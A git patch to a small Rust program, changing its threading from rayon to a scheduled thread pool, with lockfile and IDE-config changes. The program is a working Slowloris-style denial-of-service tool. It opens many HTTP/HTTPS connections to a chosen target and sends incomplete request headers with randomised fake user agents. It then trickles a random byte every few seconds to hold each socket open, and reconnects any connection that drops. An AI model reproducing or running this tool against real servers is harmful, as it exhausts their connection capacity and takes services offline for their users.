From d4af9285c24e745fbe98edc7e08a4001ee65a759 Mon Sep 17 00:00:00 2001
From: trivernis <trivernis@protonmail.com>
Date: Thu, 25 Feb 2021 11:33:07 +0100
Subject: [PATCH] Change multithreading architecture

Signed-off-by: trivernis <trivernis@protonmail.com>
---
 .idea/csv-plugin.xml |   7 ++
 .idea/discord.xml    |   6 ++
 Cargo.lock           | 174 ++++++++++++++-----------------------------
 Cargo.toml           |   3 +-
 src/main.rs          |  94 ++++++++++++-----------
 5 files changed, 120 insertions(+), 164 deletions(-)
 create mode 100644 .idea/discord.xml

diff --git a/.idea/csv-plugin.xml b/.idea/csv-plugin.xml
index 0538c79..6f7b2bf 100644
--- a/.idea/csv-plugin.xml
+++ b/.idea/csv-plugin.xml
@@ -3,6 +3,13 @@
   <component name="CsvFileAttributes">
     <option name="attributeMap">
       <map>
+        <entry key="/README.md">
+          <value>
+            <Attribute>
+              <option name="separator" value=":" />
+            </Attribute>
+          </value>
+        </entry>
         <entry key="/src/main.rs">
           <value>
             <Attribute>
diff --git a/.idea/discord.xml b/.idea/discord.xml
new file mode 100644
index 0000000..cd711a0
--- /dev/null
+++ b/.idea/discord.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="DiscordProjectSettings">
+    <option name="show" value="PROJECT_FILES" />
+  </component>
+</project>
\ No newline at end of file
diff --git a/Cargo.lock b/Cargo.lock
index 743eee6..6ec9048 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -103,59 +103,6 @@ version = "0.8.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ea221b5284a47e40033bf9b66f35f984ec0ea2931eb03505246cd27a963f981b"
 
-[[package]]
-name = "crossbeam-channel"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dca26ee1f8d361640700bde38b2c37d8c22b3ce2d360e1fc1c74ea4b0aa7d775"
-dependencies = [
- "cfg-if",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-deque"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94af6efb46fef72616855b036a624cf27ba656ffc9be1b9a3c931cfc7749a9a9"
-dependencies = [
- "cfg-if",
- "crossbeam-epoch",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-epoch"
-version = "0.9.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d60ab4a8dba064f2fbb5aa270c28da5cf4bbd0e72dae1140a6b0353a779dbe00"
-dependencies = [
- "cfg-if",
- "crossbeam-utils",
- "lazy_static",
- "loom",
- "memoffset",
- "scopeguard",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bae8f328835f8f5a6ceb6a7842a7f2d0c03692adb5c889347235d59194731fe3"
-dependencies = [
- "autocfg 1.0.1",
- "cfg-if",
- "lazy_static",
- "loom",
-]
-
-[[package]]
-name = "either"
-version = "1.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457"
-
 [[package]]
 name = "fakeit"
 version = "1.1.1"
@@ -190,19 +137,6 @@ version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a06f77d526c1a601b7c4cdd98f54b5eaabffc14d5f2f0296febdc7f357c6d3ba"
 
-[[package]]
-name = "generator"
-version = "0.6.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9fed24fd1e18827652b4d55652899a1e9da8e54d91624dc3437a5bc3a9f9a9c"
-dependencies = [
- "cc",
- "libc",
- "log",
- "rustversion",
- "winapi",
-]
-
 [[package]]
 name = "getrandom"
 version = "0.2.2"
@@ -232,6 +166,15 @@ dependencies = [
  "libc",
 ]
 
+[[package]]
+name = "instant"
+version = "0.1.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "61124eeebbd69b8190558df225adf7e4caafce0d743919e5d6b19652314ec5ec"
+dependencies = [
+ "cfg-if",
+]
+
 [[package]]
 name = "lazy_static"
 version = "1.4.0"
@@ -254,32 +197,21 @@ dependencies = [
 ]
 
 [[package]]
-name = "log"
-version = "0.4.14"
+name = "lock_api"
+version = "0.4.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710"
+checksum = "dd96ffd135b2fd7b973ac026d28085defbe8983df057ced3eb4f2130b0831312"
 dependencies = [
- "cfg-if",
+ "scopeguard",
 ]
 
 [[package]]
-name = "loom"
-version = "0.4.0"
+name = "log"
+version = "0.4.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d44c73b4636e497b4917eb21c33539efa3816741a2d3ff26c6316f1b529481a4"
+checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710"
 dependencies = [
  "cfg-if",
- "generator",
- "scoped-tls",
-]
-
-[[package]]
-name = "memoffset"
-version = "0.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "157b4208e3059a8f9e78d559edc658e13df41410cb3ae03979c83130067fdd87"
-dependencies = [
- "autocfg 1.0.1",
 ]
 
 [[package]]
@@ -362,6 +294,31 @@ dependencies = [
  "vcpkg",
 ]
 
+[[package]]
+name = "parking_lot"
+version = "0.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6d7744ac029df22dca6284efe4e898991d28e3085c706c972bcd7da4a27a15eb"
+dependencies = [
+ "instant",
+ "lock_api",
+ "parking_lot_core",
+]
+
+[[package]]
+name = "parking_lot_core"
+version = "0.8.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fa7a782938e745763fe6907fc6ba86946d72f49fe7e21de074e08128a99fb018"
+dependencies = [
+ "cfg-if",
+ "instant",
+ "libc",
+ "redox_syscall",
+ "smallvec",
+ "winapi",
+]
+
 [[package]]
 name = "pkg-config"
 version = "0.3.19"
@@ -585,31 +542,6 @@ dependencies = [
  "rand_core 0.3.1",
 ]
 
-[[package]]
-name = "rayon"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b0d8e0819fadc20c74ea8373106ead0600e3a67ef1fe8da56e39b9ae7275674"
-dependencies = [
- "autocfg 1.0.1",
- "crossbeam-deque",
- "either",
- "rayon-core",
-]
-
-[[package]]
-name = "rayon-core"
-version = "1.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ab346ac5921dc62ffa9f89b7a773907511cdfa5490c572ae9be1be33e8afa4a"
-dependencies = [
- "crossbeam-channel",
- "crossbeam-deque",
- "crossbeam-utils",
- "lazy_static",
- "num_cpus",
-]
-
 [[package]]
 name = "rdrand"
 version = "0.4.0"
@@ -637,12 +569,6 @@ dependencies = [
  "winapi",
 ]
 
-[[package]]
-name = "rustversion"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cb5d2a036dc6d2d8fd16fde3498b04306e29bd193bf306a57427019b823d5acd"
-
 [[package]]
 name = "schannel"
 version = "0.1.19"
@@ -654,10 +580,13 @@ dependencies = [
 ]
 
 [[package]]
-name = "scoped-tls"
-version = "1.0.0"
+name = "scheduled-thread-pool"
+version = "0.2.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ea6a9290e3c9cf0f18145ef7ffa62d68ee0bf5fcd651017e586dc7fd5da448c2"
+checksum = "dc6f74fd1204073fa02d5d5d68bec8021be4c38690b61264b2fdb48083d0e7d7"
+dependencies = [
+ "parking_lot",
+]
 
 [[package]]
 name = "scopeguard"
@@ -703,11 +632,18 @@ version = "0.1.0"
 dependencies = [
  "fakeit",
  "native-tls",
+ "num_cpus",
  "rand 0.8.3",
- "rayon",
+ "scheduled-thread-pool",
  "structopt",
 ]
 
+[[package]]
+name = "smallvec"
+version = "1.6.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fe0f37c9e8f3c5a4a66ad655a93c74daac4ad00c441533bf5c6e7990bb42604e"
+
 [[package]]
 name = "strsim"
 version = "0.8.0"
diff --git a/Cargo.toml b/Cargo.toml
index e38ef95..281306c 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -11,4 +11,5 @@ native-tls = "0.2.7"
 structopt = "0.3.21"
 rand = "0.8.3"
 fakeit = "1.1.1"
-rayon = "1.5.0"
\ No newline at end of file
+scheduled-thread-pool = "0.2.5"
+num_cpus = "1.13.0"
\ No newline at end of file
diff --git a/src/main.rs b/src/main.rs
index fb736c1..897d863 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -3,9 +3,11 @@ Copyright (c) 2021 trivernis
 See LICENSE for more information
  */
 use native_tls::TlsConnector;
-use rayon::prelude::*;
+use rand::Rng;
+use scheduled_thread_pool::ScheduledThreadPool;
 use std::io::Write;
 use std::net::TcpStream;
+use std::sync::Arc;
 use std::thread;
 use std::time::Duration;
 use structopt::StructOpt;
@@ -32,49 +34,49 @@ struct Opt {
 
 fn main() {
     let opts: Opt = Opt::from_args();
-    let mut connections = create_connections(&*opts.address, opts.port, opts.count, !opts.http);
-    println!("Created {} connections", connections.len());
-
-    loop {
-        thread::sleep(Duration::from_secs(10));
-        println!(r#"Sending "Keep-Alive" Headers"#);
-        let mut new_connections = Vec::new();
-
-        for mut connection in connections {
-            if let Ok(_) = connection.write_all(&[rand::random::<u8>()]) {
-                new_connections.push(connection);
-            }
-        }
-        connections = new_connections;
-
-        if connections.len() < opts.count {
-            let mut more_connections = create_connections(
-                &*opts.address,
-                opts.port,
-                opts.count - connections.len(),
-                !opts.http,
-            );
-            connections.append(&mut more_connections);
-        }
-
-        println!("Connection count: {}", connections.len())
+    let pool = Arc::new(scheduled_thread_pool::ScheduledThreadPool::new(
+        num_cpus::get(),
+    ));
+
+    for i in 0..opts.count {
+        let address = opts.address.clone();
+        let port = opts.port;
+        let https = !opts.http;
+
+        keep_alive(Arc::clone(&pool), i, address, port, https);
     }
+    thread::park();
 }
 
-/// Creates connections
-fn create_connections(
-    address: &str,
-    port: u32,
-    count: usize,
-    https: bool,
-) -> Vec<Box<dyn Write + Send + Sync>> {
-    return (0..count)
-        .par_bridge()
-        .filter_map(|_| create_connection(address, port, https))
-        .collect();
+/// Sends Keep-Alive data to the server
+fn keep_alive(pool: Arc<ScheduledThreadPool>, i: usize, address: String, port: u32, https: bool) {
+    let mut rng = rand::thread_rng();
+
+    if let Some(mut stream) = create_connection(&*address, port, https) {
+        println!("Connection {} established.", i);
+        let pool_clone = Arc::clone(&pool);
+
+        pool.execute_at_fixed_rate(
+            Duration::from_secs(rng.gen_range(5..10)),
+            Duration::from_secs(rng.gen_range(5..10)),
+            move || {
+                println!(r#"Sending "Keep-Alive-Header" for connection {}..."#, i);
+
+                if let Err(_) = stream.write_all(&[rand::random::<u8>()]) {
+                    let address = address.clone();
+                    let pool_clone2 = Arc::clone(&pool_clone);
+                    println!("Connection {} lost. Reestablishing...", i);
+
+                    pool_clone.execute(move || {
+                        keep_alive(pool_clone2, i, address, port, https);
+                    });
+                }
+            },
+        );
+    }
 }
 
-/// Creates a single connection yo
+/// Creates a single HTTP/S connection
 fn create_connection(
     address: &str,
     port: u32,
@@ -88,18 +90,22 @@ fn create_connection(
         .ok()?;
 
     let mut stream: Box<dyn Write + Send + Sync> = if https {
-        let connector = TlsConnector::new().unwrap();
-        let tls_stream = connector.connect(&*address.clone(), tcp_stream).unwrap();
+        let connector = TlsConnector::new().ok()?;
+        let tls_stream = connector.connect(&*address.clone(), tcp_stream).ok()?;
         Box::new(tls_stream)
     } else {
         Box::new(tcp_stream)
     };
 
-    stream.write_all(b"GET / HTTP/1.1\r\n").ok()?;
     stream
-        .write_all(format!("User-Agent: {}\r\n", fakeit::user_agent::random_platform()).as_bytes())
+        .write_all(
+            format!(
+                "GET / HTTP/1.0\r\nUser-Agent: {}\r\nX-a: ",
+                fakeit::user_agent::random_platform()
+            )
+            .as_bytes(),
+        )
         .ok()?;
-    stream.write_all(b"X-a: {}\r\n").ok()?;
 
     Some(stream)
 }